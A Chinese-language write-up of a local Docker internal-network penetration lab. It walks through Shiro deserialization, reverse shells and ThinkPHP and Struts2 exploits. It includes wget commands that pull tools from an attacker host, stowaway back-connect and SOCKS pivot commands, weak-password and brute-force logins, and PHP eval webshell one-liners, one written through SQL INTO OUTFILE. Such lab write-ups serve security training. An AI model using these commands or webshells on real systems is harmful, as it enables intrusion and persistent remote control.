首先先将docker镜像拉起来
docker-compose up -d

docker ps -a
用这个命令看看容器都跑起来没有,如果stastus都显示"up"就代表成功跑起来了

打开浏览器访问127.0.0.1:8080可以看到,是登录框

信息收集可以发现是java语言编写的

随意输入一个shiro框架初始初始账号密码弱口令,打开开发者工具抓包看到cookie值存在rememberMe字样,说明是shiro框架

直接用shiro反序列化漏洞综合利用工具爆破秘钥,检测当前利用链再爆破利用链及回显就可以进行命令执行(出题人手下留情了,什么防护都没加)



获得第一个flag

shell获取
因为受害机一般在内网,攻击机很难访问的到
简单来说这个反弹shell的命令就是要将交互式shell弹到文件上,然后将标准输出1标准错误2标准输入0全部重定向


接下来就是获取shell,先在本地监听9001端口

查询本地ip利用工具生成反弹shell命令(生成反弹shell命令工具名为utool)

这里最好是将反弹shell的命令进行base64加密后再用

粘贴到shiro反序列化工具里面,点击执行(注意工具里面是没有回显的)

获取到shell,命令执行拿到第一个flag


当然有的时候系统可能会对输入进行过滤,我们就需要变换一下命令的格式,探姬老师这个图片里面说到了base64编码,还有将反弹shell的命令写入sh文件里面作为脚本给予执行权限后再运行

文件落地
接下来就要进行信息收集了,对于内网来说首先肯定是ip信息,127.0.0.1想都不用想肯定是不用看的,这里我们就上传一些工具帮助我们进行信息收集



先开启Python的Http静态服务,因为探姬老师的靶机对于传进来的文件是没有进行任何的过滤的,这里我们开启Http服务后直接利用wget命令获取本地工具即可

在浏览器访问一下开启的http服务找到要上传的工具fscan(记得在本地下载linux版本的fscan)

成功将fscan上传到受害机,先给予权限

在攻击机准备上传的工具文件夹终端中输入
python -m http.server 8083在靶机中输入
wget http://攻击机ip:端口/fscan文件名chmod +x fscan文件名./fscan -h 192.168.100.1-255
[889ms] 开始选择扫描模式
[889ms] 开始端口/主机扫描
[889ms] 生成 IP 范围: 192.168.100.1 - 192.168.100.255
[889ms] 当前可用的线程数/并发数: 255
[889ms] 开始存活主机探测
[889ms] 使用的服务检测插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle, poc, webtitle
[894ms] [*] 目标 192.168.100.1 存活 (ICMP)
[897ms] [*] 目标 192.168.100.2 存活 (ICMP)
[899ms] [*] 目标 192.168.100.3 存活 (ICMP)
[3.9s] 存活主机总数: 3
[3.9s] 扫描的端口总数: 233
[3.9s] [*] 端口发现: 192.168.100.2:9000[3.9s] [*] 端口发现: 192.168.100.2:80
[3.9s] [*] 端口发现: 192.168.100.1:18080
[3.9s] [*] 端口发现: 192.168.100.3:8080
[3.9s] 扫描完成,发现 4 个开放端口
[4.0s] 存活端口数量: 4
[4.0s] 开始漏洞扫描模式[4.0s] POC 加载完成: 共加载 387 条,成功 387 条,失败 0 条[4.0s] [*] WebTitle http://192.168.100.2 状态码:200 长度:931 标题:None[4.1s] [*] WebTitle http://192.168.100.1:18080 状态码:302 长度:0 标题:None 重定向 url: http://192.168.100.1:18080/login;jsessionid=FA38E4BB144DFA5340B14FE8026A5715[4.1s] [*] WebTitle http://192.168.100.3:8080 状态码:302 长度:0 标题:None 重定向 url: http://192.168.100.3:8080/login;jsessionid=38BEBB19DE0E43014A4E31C8600549AB[4.2s] [*] WebTitle http://192.168.100.1:18080/login;jsessionid=FA38E4BB144DFA5340B14FE8026A5715 状态码:200 长度:2608 标题:Login Page
[4.2s] [*] WebTitle http://192.168.100.3:8080/login;jsessionid=38BEBB19DE0E43014A4E31C8600549AB 状态码:200 长度:2608 标题:Login Page
[4.5s] [+] 找到漏洞 http://192.168.100.3:8080/ poc-yaml-shiro-key 参数:[{mode cbc} {key kPH+bIxk5D2deZiIxcaaaA==}]
[4.5s] [+] 找到漏洞 http://192.168.100.1:18080/ poc-yaml-shiro-key 参数:[{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]
[5.6s] 扫描命中 8/8


前面fscan扫出来了三台存活主机,但是你其实是不知道其他主机还存在其他网段的,你要上去之后才知道(下面这个图仅供参考,因为docker容器启动的时候ip是随机分配的,理解意思就好)

因为在内网所以无法直接访问,但是你可以使用curl命令访问,但是很麻烦



这里我不使用探姬用的chisel工具了,我用stowaway结合proxifier做代理转发,通过wget下载工具并且赋予权限(记得切换到stowaway工具所在目录后再开启http服务)
在shiro主机中
wget http://攻击机ip:端口/stowaway_agentchmod +x stowaway_agent./stowaway_agent -c 攻击机ip:ls9999(回连admin端,因为反向连接可以解决外网无法访问内网的情况)在windows攻击机上 ./stowaway_admin -l 9999(admin端监听本地9999端口,等待agent端回连)



use 0socks 7777(在7777端口上做代理转发)

再配置一下proxifier使攻击机可以通过代理访问到刚刚扫出来的192.168.100.3主机。因为本身攻击机和192.168.100.3的主机不在同一个网段,但是shiro主机(192.168.100.)和192.168.100.3的主机在同一个网段,我们就可以利用shiro主机作为跳板访问192.168.100.3的主机
配置代理服务器(注意是admin端的ip哦,这里因为我admin端在本地windows主机里面所以配的是本地windows的ip)

配置代理规则,使本地windows主机(admin端)的所有应用程序都可以访问192.168.100.*的网段

配置完以后记得检查一下代理服务器是否可以正常工作

这样我们就连上了thinkphp(192.168.100.2)了

接下来直接使用thinkphp的工具攻击它

检测到目标存在tp5_invoke_func_code_exec_1漏洞
选择需要利用的漏洞漏洞

命令执行发现成功

接下来就要拿第二个shell,打开一个新的终端,然后监听9002端口


base64加密了一下才弹成功

第二个flag在根目录下,成功拿下


接下来就要对第二个机器进行信息收集,发现出现了新的网段10.85.101.4

一样的,传fscan,扫描新网段,传工具的步骤就不重复了跟前面一样
[912ms] 正在检查常见服务暴露模块 [912ms] 初始化并发与扫描策略 [912ms] CIDR 范围: 10.85.101.0-10.85.101.255 [912ms] generate_ip_range_full [912ms] 解析 CIDR 10.85.101.0/24 -> IP 范围 10.85.101.0-10.85.101.255 [912ms] 当前可扫描 IP 数量: 256 [912ms] 开始并发端口扫描 [912ms] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle, poc, webtitle[915ms] 正在尝试使用 ICMP 探测... [915ms] ICMP 连接失败: dial ip4:icmp 127.0.0.1: socket: operation not permitted [915ms] 当前用户权限不足,无法发送 ICMP 探测 [915ms] 切换为 TCP/PING 探测模式[974ms] [] 目标 10.85.101.1 存活 (ICMP) [21.0s] [] 目标 10.85.101.2 存活 (ICMP) [31.0s] [] 目标 10.85.101.3 存活 (ICMP) [31.0s] [] 目标 10.85.101.4 存活 (ICMP) [1m0s] 存活主机数量: 4 [1m0s] 待扫描端口总数: 233[1m1s] [*] 发现开放端口 10.85.101.2:6379[1m1s] [*] 发现开放端口 10.85.101.4:80[1m1s] [] 发现开放端口 10.85.101.4:9000 [1m1s] [] 发现开放端口 10.85.101.3:9000 [1m1s] [*] 发现开放端口 10.85.101.3:80[1m3s] 扫描完成,准备进行漏洞/POC 验证...[1m3s] 存活端口数量: 5 [1m3s] 启动漏洞验证模式[1m4s] POC 加载完成: 共 387 个,成功 387 个,失败 0 个[1m4s] [*] 网站信息: http://10.85.101.4 状态码:200 页面大小:931 标题: (空/未识别)[1m4s] [] 网站信息: http://10.85.101.3 状态码:200 页面大小:19597 标题: phpMyAdmin [1m4s] [] 发现后台页面: http://10.85.101.3 后台指纹: [phpMyAdmin]
可以看到扫出两个新的ip,我们先搭建代理转发
admin端的(node 0)开个监听
listen #监听
1
10000 #监听端口为10000

在thinkphp端agent端回连shiro主机的10000端口

可以看到成功连上且建立了新的节点,切换到新的节点后再进行代理转发
admin端:
use 1
socks 7778 admin admin 建立socks代理


再配置一下proxifier(记得用本地windows主机的ip端口)至于说这里为什么要在原来0节点的基础上改配置我猜应该是0节点暂时不用了所以就先将配置删了(下图是我切换到1节点之后再去测试原来0节点的代理服务器配置发现测试失败了)





接下来尝试访问10.85.101.3:80,发现访问成功,phpmyadmin的登陆框就先测试弱口令root root


弱口令成功进入

观察左侧数据库名发现有个flag,点进去一看第三个flag就获得了


在前面对10.85.101.0/24网段进行扫描的时候其实我们扫出来过一个 10.85.101.2:6379,这就是拓扑图中的redis服务,直接用redisbrute工具爆破密码即可,-p指定字典,-T指定爆破目标
阅读下图可以发现我们成功爆破出密码123456,然后利用redis-cli连接上redis服务,输入PING观察回显,回显PONG表示客户端与 Redis 服务端通信正常,服务端在响应。

输入KEYS *返回数据库中匹配模式 * 的所有键,但是显示空的,GET flag也是空的,这里貌似出了点问题,搞不到flag

接下来就得靠phpmyadmin来弹webshell进深一层内网了,利用sql语句写入webshell
select '<?php @eval($POST['cmd'])?>' into outfile '/var/www/html/shell.php'
但是发现提示我权限不够,后面询问探姬本人后发现是靶场问题。可以在容器目录下马,phpmyadmin那里提权貌似也有点问题,总之打进内部就好了。
首先进入docker中phpmyadmin的容器,开一个bash
docker exec -it puff-pastry-main-web-phpmyadmin-1 bash
写一个一句话木马进/var/www/html/1.php
cat > /var/www/html/1.php << 'EOF'
<?php @eval($_POST["attack"]); ?>
EOF
验证木马是否写入,页面为空说明成功写入。

接下来再用蚁剑连接

进入文件管理模块,flag就在根目录下

就在flag.txt中,拿下flag

接下来就是文件落地了,依旧传fscan和stowaway_agent

发现新的网段,172.56.102.0/24,

fscan扫描结果如下
(root:/) $ ./fscan -h 172.56.102.0/24
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘Fscan Version: 2.0.1
[1.0s] 已选择服务扫描模式
[1.0s] 开始信息扫描
[1.0s] CIDR范围: 172.56.102.0-172.56.102.255
[1.0s] generate_ip_range_full
[1.0s] 解析CIDR 172.56.102.0/24 -> IP范围 172.56.102.0-172.56.102.255
[1.0s] 最终有效主机数量: 256
[1.0s] 开始主机扫描
[1.0s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.0s] [*] 目标 172.56.102.1 存活 (ICMP)
[1.0s] [*] 目标 172.56.102.2 存活 (ICMP)
[1.0s] [*] 目标 172.56.102.4 存活 (ICMP)
[1.0s] [*] 目标 172.56.102.3 存活 (ICMP)
[4.0s] 存活主机数量: 4
[4.0s] 有效端口数量: 233
[4.1s] [*] 端口开放 172.56.102.2:5432
[4.1s] [*] 端口开放 172.56.102.4:80
[4.1s] [*] 端口开放 172.56.102.4:9000
[4.1s] [*] 端口开放 172.56.102.3:8080
[4.1s] [*] 端口开放 172.56.102.3:8009
[7.0s] 扫描完成, 发现 5 个开放端口
[7.0s] 存活端口数量: 5
[7.0s] 开始漏洞扫描
[7.1s] POC加载完成: 总共387个,成功387个,失败0个
[7.1s] [+] PostgreSQL服务 172.56.102.2:5432 成功爆破 用户名: postgres 密码: password
[7.3s] [*] 网站标题 http://172.56.102.4 状态码:200 长度:19597 标题:phpMyAdmin
[7.4s] [*] 发现指纹 目标: http://172.56.102.4 指纹: [phpMyAdmin]
[9.1s] [*] 网站标题 http://172.56.102.3:8080 状态码:200 长度:90 标题:$Title$
[9.4s] [+] 目标: http://172.56.102.3:8080漏洞类型: poc-yaml-struts2_045漏洞名称: poc1详细信息:作者:shadown1ng(https://github.com/shadown1ng)
[9.6s] 扫描已完成: 9/9
可以看到又出现新的网段主机了,fscan将 PostgreSQL服务的用户名密码甚至都直接爆破出来了,接下来就要搭建代理转发访问新网段了
在1节点上监听10001端口

在phpmyadmin主机上用stowaway_agent回连

用2节点在本机7779端口上开socks代理转发

但是有个大问题就是不知道为什么老是莫名奇妙就断连了,这边建议加个参数 --reconnect 数字,意思就是哪怕断连了每隔数字秒就重新连一次

接下来依旧配置proxifier


配置完以后访问一下刚刚扫出来新网段里面存活的主机

刚刚fscan扫出来是Structs框架,那就用Structs漏洞工具打一下


打到这里就算打完了。整个打靶过程其实挺坎坷的,中间phpmyadmin无权限写马(问了原作者提权貌似也有点问题)还有redis数据库为空着实卡了我好久,希望看到我这边文章的读者不要踩坑了吧(悲)
在探姬老师那里看到的一个内网渗透靶场,作为入门靶场挺好的,也是第一次打这种多层内网的靶场